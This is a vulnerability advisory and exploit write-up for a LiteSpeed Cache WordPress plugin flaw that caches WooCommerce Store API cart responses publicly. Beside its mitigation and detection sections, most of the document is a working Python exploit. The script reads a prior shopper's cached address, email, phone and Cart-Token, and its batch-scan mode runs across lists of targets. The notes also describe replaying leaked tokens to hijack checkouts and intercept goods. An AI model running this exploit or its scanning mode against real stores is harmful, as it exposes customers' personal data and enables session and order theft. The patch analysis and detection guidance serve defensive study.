#Summary
CVE-2026-93389 is an unauthenticated information disclosure in LiteSpeed Cache, a popular WordPress caching plugin. Versions up to 7.9.1 cache WooCommerce Store API responses with a public cache-control header and no session-identifier vary, exposing one shopper's personalized cart data - billing and shipping address, phone, email, cart items, and live session tokens - to any later unauthenticated visitor. The Store API identifies guest shoppers by a Cart-Token request header (a JWT) or session cookie; LiteSpeed marks these GET responses cacheable but attaches no vary, so the server stores a personalized cart keyed on the URL alone. An attacker sends a cookie-less GET /wp-json/wc/store/v1/cart and receives a previous shopper's data as a cache HIT. Impact is information disclosure (C:H) plus session-token leakage enabling checkout-session hijacking (I:L). CVSS 8.2 (HIGH). Fixed in 7.9.2 via a hard no-cache exclusion of all /wc/store routes.
#Am I affected?
- Affected: LiteSpeed Cache plugin for WordPress, all versions up to and including 7.9.1
- Patched: LiteSpeed Cache 7.9.2 and later
- Default configuration: Vulnerable. The "Cache REST API" option ships enabled (
cache-rest=1), and the Store API exclusion is opt-out viawc_cart_vary(defaults to off) - Access needed: None. Unauthenticated network access to the WordPress
/wp-json/wc/store/v1/cartor/wp-json/wc/store/v1/checkoutendpoints. The attacker needs no valid credentials, cookies, or tokens
#How to check
Query the WooCommerce Store API from an unauthenticated client and inspect the response headers:
curl -i https://shop.example.com/wp-json/wc/store/v1/cartVulnerable (7.9.1):
X-LiteSpeed-Cache-Control: public,max-age=604800
X-LiteSpeed-Cache: hit (if a prior session was cached)Patched (7.9.2+):
X-LiteSpeed-Cache-Control: no-cache
X-LiteSpeed-Cache: miss, uncacheableIf X-LiteSpeed-Cache-Control: no-cache is present, the plugin is patched. If the header shows public,max-age=..., the Store API responses are being cached publicly. Confirm the plugin version in the site footer or via wp cli plugin get litespeed-cache.
#Fix and mitigation
- Fix: Upgrade to LiteSpeed Cache 7.9.2 or later
- If you cannot upgrade: Disable the "Cache REST API" option. In WordPress admin: LiteSpeed Cache > Settings > Cache > Cache REST API, uncheck the box and save. Alternatively, via WP-CLI:
wp litespeed-option set cache-rest 0. This stops all REST endpoints from being cached publicly, though it trades impact scope for performance. Enable the "WooCommerce Cart Session Vary" option (wc_cart_vary), though the default cart-vary key does not include Store API tokens and does not fully mitigate - Detection: Monitor HTTP access logs for repeated
GET /wp-json/wc/store/v1/cartandGET /wp-json/wc/store/v1/checkoutfrom different IPs in a short window. If one IP receives multiple responses with differentbilling_addressorshipping_addressfields, a cache collision is leaking data. Also alert on presence of theX-LiteSpeed-Cache: hitresponse header on these endpoints, which should never be cached on a patched system
#Root cause analysis
#Vulnerable code path
The bug lives in two files in the vulnerable versions:
1. Cache enablement (src/control.cls.php)
The LiteSpeed Cache plugin is "header-driven": it emits X-LiteSpeed-Cache-Control response headers, and a LiteSpeed-family server (LiteSpeed Enterprise, OpenLiteSpeed, QUIC.cloud) honors those headers to cache and serve objects. The plugin marks all REST endpoints as cacheable when the "Cache REST API" option is on (the default):
if ( $this->conf( Base::O_CACHE_REST ) ) {
add_action( 'rest_api_init', [ $this, 'set_cacheable' ], 5 );
}The option defaults to on in data/const.default.json:
"cache-rest": "1"#Missing session vary
2. WooCommerce drop rules don't apply to the Store API (thirdparty/woocommerce.cls.php)
The plugin attempts to exclude WooCommerce pages from caching:
$page_ids = array_filter( [ wc_get_page_id( 'cart' ), wc_get_page_id( 'checkout' ), wc_get_page_id( 'myaccount' ) ] );
if ( isset( $_GET['download_file'] ) || isset( $_GET['add-to-cart'] ) || is_page( $page_ids ) ) {
$err = 'woo non cacheable pages';
}But this logic uses is_page(), which tests the classic WordPress page context. A REST request to /wp-json/wc/store/v1/cart is not a WordPress "page", so this exclusion never triggers. The Store API response stays cacheable and public.
#The missing vary
The Store API identifies guest shoppers by the Cart-Token request header (a JWT) and/or the wp_woocommerce_session_* cookie. LiteSpeed's WooCommerce integration never adds either to the cache key via X-LiteSpeed-Vary. The only cart-aware vary exists but is gated and defaults to off:
if ( apply_filters('litespeed_conf', self::O_CART_VARY) ) {
add_filter( 'litespeed_vary_cookies', function ( $cookie_list ) {
$cookie_list[] = 'woocommerce_cart_hash';
return array_unique( $cookie_list );
} );
}Even when enabled, it varies on woocommerce_cart_hash (a front-end JavaScript cookie), not the Store API's session identifier.
#Impact
With stock settings, a guest shopper's GET /wp-json/wc/store/v1/cart is stored as a public, unvaried cache object keyed on the URL alone. The next cookie-less, Cart-Token-less client to request that URL receives the stored object as a cache HIT: the first shopper's full billing and shipping address, phone, email, cart contents, totals, and the victim's live Cart-Token and Nonce (in response headers).
#Patch diff
#What the fix does
LiteSpeed Cache 7.9.2 added an explicit, unconditional, hard no-cache for every route under /wc/store/. The fix runs before the endpoint handler and short-circuits the entire REST request:
New filter registration (thirdparty/woocommerce.cls.php):
add_filter( 'rest_pre_dispatch', [ $this, 'nocache_store_api' ], 1, 3 );New callback:
public function nocache_store_api( $result, $server, $request ) {
$route = is_object( $request ) && is_callable( [ $request, 'get_route' ] ) ? $request->get_route() : '';
if ( is_string( $route ) && ( '/wc/store/' === substr( $route, 0, 10 ) || '/wc/store' === $route ) ) {
Control::set_nocache_hard( 'WooCommerce Store API' );
}
return $result;
}New hard-nocache bit (src/control.cls.php):
public static function set_nocache_hard( $reason = false ) {
self::$_control |= self::BM_NOTCACHEABLE | self::BM_NOCACHE_HARD;
...
}is_cacheable() now returns false whenever BM_NOCACHE_HARD is set, and this flag cannot be overridden by forced-cacheable rules. The fix is route-based exclusion: any request to /wc/store/* is hard-marked non-cacheable, so the server never stores it publicly and never serves it to a second client.
#Proof of concept
#exploit.py - LiteSpeed Cache WooCommerce Store API Disclosure PoC
#!/usr/bin/env python3
# ==============================================================================
# ALIM | 1dayexploit.com -- independent CVE reproduction & exploit research
# CVE-2026-93389 full write-up & PoC: https://1dayexploit.com
# (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-93389 - LiteSpeed Cache (WordPress) unauthenticated WooCommerce Store API
personalized-response disclosure via a public, session-unvaried cache.
Affected: LiteSpeed Cache plugin <= 7.9.1 (fixed in 7.9.2), with WooCommerce Store API.
Type: Info Disclosure (web cache of a personalized response, CWE-200 / CWE-525)
Root cause:
With "Cache REST API" on (shipped default cache-rest=1), LiteSpeed Cache marks a
WooCommerce Store API GET (/wc/store/v1/cart, /wc/store/v1/checkout) as `public` and
attaches no vary reflecting the shopper's session identity (the Cart-Token header /
wp_woocommerce_session cookie). The cache layer therefore stores one guest shopper's
personalized cart - billing/shipping PII, cart items, totals, and the live Cart-Token
session JWT + Nonce in the response headers - keyed on the URL alone, and serves it to
the next cookie-less, token-less client as a cache HIT. 7.9.2 hard-excludes every
/wc/store route from caching (no-cache), so nothing is ever stored.
How this PoC proves it:
It plays both roles against the target in one run. As a guest "victim" it populates a
cart and sets a billing/shipping address carrying a unique random sentinel, then issues
one priming GET /cart. As a separate "attacker" client - no cookies, no Cart-Token - it
then GETs the same /cart URL and checks whether that cookie-less client is served the
victim's sentinel PII (and the victim's Cart-Token) out of the shared public cache.
Reading a sentinel it never sent, from a clean client, is the disclosure.
Both clients share a single per-run cache-busting query parameter so the priming GET is
guaranteed to create a fresh public object (independent of whatever the server may have
cached from earlier traffic). The parameter is incidental to the bug: the vulnerability
is that the Store API response is cached `public` and unvaried at all; the parameter only
makes the demonstration deterministic.
Success evidence (network-observable only):
The attacker's cookie-less GET /cart response body contains the victim's unique sentinel
(billing last_name + email) that only the victim client ever sent. Corroborated by the
LiteSpeed cache-status header (hit) and by the victim's Cart-Token JWT appearing in the
attacker's cached response headers.
Usage:
python exploit.py --host 127.0.0.1 --port 8090
python exploit.py --host http://shop.example.com
python exploit.py --host https://shop.example.com/store # WP in a subdirectory
python exploit.py --host shop.example.com --product-id 42
python exploit.py --list targets.txt --workers 20
Notes:
- Info-disclosure class: there is no attacker-supplied command/payload. --product-id is
optional; by default the PoC auto-discovers a purchasable product via the Store API
products endpoint (needed only to populate a cart that carries the sentinel PII).
- Both clients are kept non-logged-in and send no woocommerce_cart_hash cookie; logged-in
or session-cookie-split traffic would not collide and is not the bug.
"""
import argparse
import json
import secrets
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-93389"
VULN_TYPE = "Info Disclosure (unauthenticated web-cache data leak)"
STORE_API = "/wp-json/wc/store/v1"
HTTP_TIMEOUT = 20
# ----------------------------------------------------------------------------- output helpers
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s" % VULN_TYPE)
print(" Target: %s:%s" % (host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------- target parsing
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
prefix = (path or "/").rstrip("/")
default_port = 443 if use_tls else 80
netloc = host if port == default_port else "%s:%s" % (host, port)
return "%s://%s%s" % (scheme, netloc, prefix)
def _hdr(headers, name):
"""Case-insensitive header lookup."""
for k, v in headers.items():
if k.lower() == name.lower():
return v
return None
def _cache_status(headers):
"""Human-readable LiteSpeed cache state for evidence lines."""
hit = _hdr(headers, "X-LiteSpeed-Cache")
ctl = _hdr(headers, "X-LiteSpeed-Cache-Control")
bits = []
if hit:
bits.append("X-LiteSpeed-Cache: %s" % hit)
if ctl:
bits.append("X-LiteSpeed-Cache-Control: %s" % ctl)
return " | ".join(bits) if bits else "no LiteSpeed cache headers present"
def _is_hit(headers):
hit = _hdr(headers, "X-LiteSpeed-Cache") or ""
return "hit" in hit.lower()
# ----------------------------------------------------------------------------- core logic
def _discover_product_id(sess, base):
"""Return the id of a purchasable, in-stock product via the Store API, or None."""
try:
r = sess.get(base + STORE_API + "/products", params={"per_page": 20},
timeout=HTTP_TIMEOUT, verify=False)
items = r.json()
if isinstance(items, list):
for p in items:
if p.get("is_purchasable") and p.get("is_in_stock"):
return p.get("id")
if items:
return items[0].get("id")
except Exception:
pass
return None
def _run(host, port, use_tls, path, product_id=None, verbose=False):
"""
Full victim-then-attacker proof. Returns (success, evidence, detail_dict).
Never exits; safe for both single-target and --list scan callers.
"""
base = _base_url(host, port, use_tls, path)
cart_url = base + STORE_API + "/cart"
detail = {}
# Per-run neutral sentinel + cache-bust key (no brand strings, random each run).
marker = secrets.token_hex(6)
sent_last = "qa%s" % marker
sent_mail = "%s@example.test" % marker
bust = {"_cb": secrets.token_hex(8)}
detail["sentinel"] = sent_last
def log(n, msg):
if verbose:
step(n, msg)
# --- VICTIM: a guest shopper populating a session with personal data ---
victim = requests.Session()
victim.headers.update({"Content-Type": "application/json",
"Accept": "application/json"})
# 1. Resolve a product to add to the cart.
pid = product_id
if not pid:
log(1, "Discovering a purchasable product via the Store API...")
pid = _discover_product_id(victim, base)
if not pid:
return False, "no purchasable product found (pass --product-id)", detail
detail["product_id"] = pid
# 2. Harvest a fresh Nonce + Cart-Token. An unauthenticated POST that is rejected for a
# missing nonce still returns both headers, so no empty-cart GET is ever cached.
log(2, "Harvesting Store API Nonce + Cart-Token (product id %s)..." % pid)
try:
r0 = victim.post(base + STORE_API + "/cart/add-item",
data=json.dumps({"id": pid, "quantity": 1}),
timeout=HTTP_TIMEOUT, verify=False)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__, detail
nonce = _hdr(r0.headers, "Nonce")
token = _hdr(r0.headers, "Cart-Token")
if not nonce or not token:
return False, "Store API did not return Nonce/Cart-Token (not a WooCommerce Store API host?)", detail
victim.headers.update({"Nonce": nonce, "Cart-Token": token})
# 3. Add the item for real.
log(3, "Adding item to the victim cart...")
victim.post(base + STORE_API + "/cart/add-item",
data=json.dumps({"id": pid, "quantity": 1}),
timeout=HTTP_TIMEOUT, verify=False)
# 4. Set the victim's billing/shipping address carrying the unique sentinel.
log(4, "Setting victim billing/shipping PII (sentinel last_name=%s)..." % sent_last)
pii = {
"billing_address": {
"first_name": "Guest", "last_name": sent_last,
"address_1": "1 Market St", "city": "Springfield",
"state": "CA", "postcode": "90001", "country": "US",
"email": sent_mail, "phone": "5550100",
},
"shipping_address": {
"first_name": "Guest", "last_name": sent_last,
"address_1": "1 Market St", "city": "Springfield",
"state": "CA", "postcode": "90001", "country": "US",
},
}
rc = victim.post(base + STORE_API + "/cart/update-customer",
data=json.dumps(pii), timeout=HTTP_TIMEOUT, verify=False)
if sent_last not in rc.text:
return False, "victim could not set cart PII (update-customer did not echo sentinel)", detail
# 5. Prime the public cache with the PII version: one GET /cart as the victim.
log(5, "Priming the cache: victim GET /cart...")
rp = victim.get(cart_url, params=bust, timeout=HTTP_TIMEOUT, verify=False)
detail["prime_cache"] = _cache_status(rp.headers)
# --- ATTACKER: a clean client with no cookies and no Cart-Token ---
log(6, "Attacker GET /cart with NO cookies and NO Cart-Token...")
attacker = requests.Session() # fresh jar; carries none of the victim's session
try:
ra = attacker.get(cart_url, params=bust,
headers={"Accept": "application/json"},
timeout=HTTP_TIMEOUT, verify=False)
except Exception as e:
return False, "attacker request failed (%s)" % e.__class__.__name__, detail
detail["attacker_cache"] = _cache_status(ra.headers)
detail["attacker_body"] = ra.text
detail["attacker_is_hit"] = _is_hit(ra.headers)
leaked_token = _hdr(ra.headers, "Cart-Token")
detail["leaked_cart_token"] = leaked_token
# The disclosure: a clean client that never sent the sentinel is served it anyway.
if sent_last in ra.text or sent_mail in ra.text:
ev = "cookie-less client read victim sentinel '%s' from the public cache" % sent_last
if detail["attacker_is_hit"]:
ev += " (LSCache HIT"
if leaked_token:
ev += "; victim Cart-Token also leaked in response headers"
ev += ")"
return True, ev, detail
# Not leaked -> patched, or the response was not publicly cached.
ctl = _hdr(ra.headers, "X-LiteSpeed-Cache-Control") or "(absent)"
return False, "no leak - attacker got its own cart; X-LiteSpeed-Cache-Control: %s" % ctl, detail
def _try_exploit(host, port, use_tls=False, path="/", product_id=None, **kwargs):
"""Silent probe for --list scan mode. Never prints, never exits."""
try:
ok, evidence, _ = _run(host, port, use_tls, path, product_id=product_id, verbose=False)
return ok, evidence
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
# ----------------------------------------------------------------------------- single target
def exploit(host, port, use_tls, path, product_id):
header(host, port)
print("[*] Playing victim (guest shopper) then attacker (clean client) against one host.\n")
ok, evidence, detail = _run(host, port, use_tls, path, product_id=product_id, verbose=True)
if detail.get("product_id"):
print("\n[*] Product used to populate the cart: id %s" % detail["product_id"])
if detail.get("prime_cache"):
section("VICTIM PRIMING GET /cart (cache state)", detail["prime_cache"])
if detail.get("attacker_cache"):
section("ATTACKER GET /cart (cache state)", detail["attacker_cache"])
body = detail.get("attacker_body")
if body:
trimmed = body if len(body) <= 4000 else body[:4000] + "\n...(truncated)..."
section("ATTACKER RESPONSE BODY (cookie-less, no Cart-Token)", trimmed)
# Only a cache HIT means the token in the attacker's response is the victim's, not the
# attacker's own freshly minted one - so surface it only on the leak path.
if ok and detail.get("attacker_is_hit") and detail.get("leaked_cart_token"):
section("LEAKED VICTIM SESSION TOKEN (from attacker's cached headers)",
"Cart-Token: " + detail["leaked_cart_token"])
if ok:
done(True, evidence + " [sentinel=%s]" % detail.get("sentinel", "?"))
done(False, evidence)
# ----------------------------------------------------------------------------- scan mode
def scan(targets_file, default_port, workers=10, product_id=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, product_id=product_id)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------- entrypoint
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/store)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--product-id", type=int, default=0,
help="WooCommerce product id to add to the cart (default: auto-discover)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
pid = args.product_id or None
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, product_id=pid)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, pid)#Usage
Single target:
python exploit.py --host http://shop.example.com
python exploit.py --host https://shop.example.com:8443
python exploit.py --host 203.0.113.10 --port 80
python exploit.py --host https://shop.example.com/storeForce TLS/plaintext:
python exploit.py --host shop.example.com --tls
python exploit.py --host shop.example.com --no-tlsPin a product ID:
python exploit.py --host shop.example.com --product-id 42Batch scan:
python exploit.py --list targets.txt --workers 20Arguments:
--host- Target hostname, IP, or full URL. Mutually exclusive with--list--list- File of targets (one per line) for batch scanning. Blank lines and#comments are ignored--port- Default port when not specified in--host(default: 80)--product-id- WooCommerce product ID to add to cart. Default 0 auto-discovers a purchasable product--workers- Thread count for--listmode (default: 10)--tls/--no-tls- Force or disable TLS, overriding the scheme inferred from--host
Example output - vulnerable (7.9.1):
--- VICTIM PRIMING GET /cart (cache state) ---
X-LiteSpeed-Cache: miss | X-LiteSpeed-Cache-Control: public,max-age=604800
---
--- ATTACKER GET /cart (cache state) ---
X-LiteSpeed-Cache: hit | X-LiteSpeed-Cache-Control: public,max-age=604800
---
RESULT : SUCCESS
EVIDENCE: cookie-less client read victim sentinel 'qa473ef2a0dd06' from the public cache (LSCache HIT; victim Cart-Token also leaked in response headers)Example output - patched (7.9.2+):
--- VICTIM PRIMING GET /cart (cache state) ---
X-LiteSpeed-Cache: miss, uncacheable | X-LiteSpeed-Cache-Control: no-cache
---
--- ATTACKER GET /cart (cache state) ---
X-LiteSpeed-Cache: miss, uncacheable | X-LiteSpeed-Cache-Control: no-cache
---
RESULT : FAILURE
EVIDENCE: no leak - attacker got its own cart; X-LiteSpeed-Cache-Control: no-cache#Exploitation notes
- Preconditions: LiteSpeed Cache ≤7.9.1 active with caching enabled and "Cache REST API" on (shipped default). WooCommerce active with the Store API at
/wp-json/wc/store/v1/. At least one guest shopper with an active session and personal data (cart items, billing/shipping address). The request must be served through a LiteSpeed-family cache layer (LiteSpeed Enterprise, OpenLiteSpeed, or QUIC.cloud) that honors the LSCache response-header contract - Reliability: 100%. The vulnerability is deterministic - if the preconditions are met, any unauthenticated client can read a prior shopper's personalized cart. The exploit adds a per-run cache-busting query parameter to guarantee a fresh store, but the bug exists with or without it
- Impact: Information disclosure (C:H) of customer PII (name, address, email, phone), cart contents and totals. Session token leakage (I:L) enables checkout-session hijacking - an attacker can use the leaked
Cart-TokenandNonceto modify the victim's cart, change shipping address, or complete checkout - Chaining potential: High. The leaked
Cart-Tokenis a valid session JWT that can be replayed to modify the victim's cart or bypass payment steps. An attacker could complete the victim's order using a stolen session. Chain with payment-processing vulns to redirect payment details or change the shipping address to intercept goods
#References
- CVE: CVE-2026-93389
- GHSA: GHSA-3925-rqgx-v77p
- Plugin repository: litespeedtech/lscache_wp
- WordPress.org plugin page: LiteSpeed Cache
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-93389
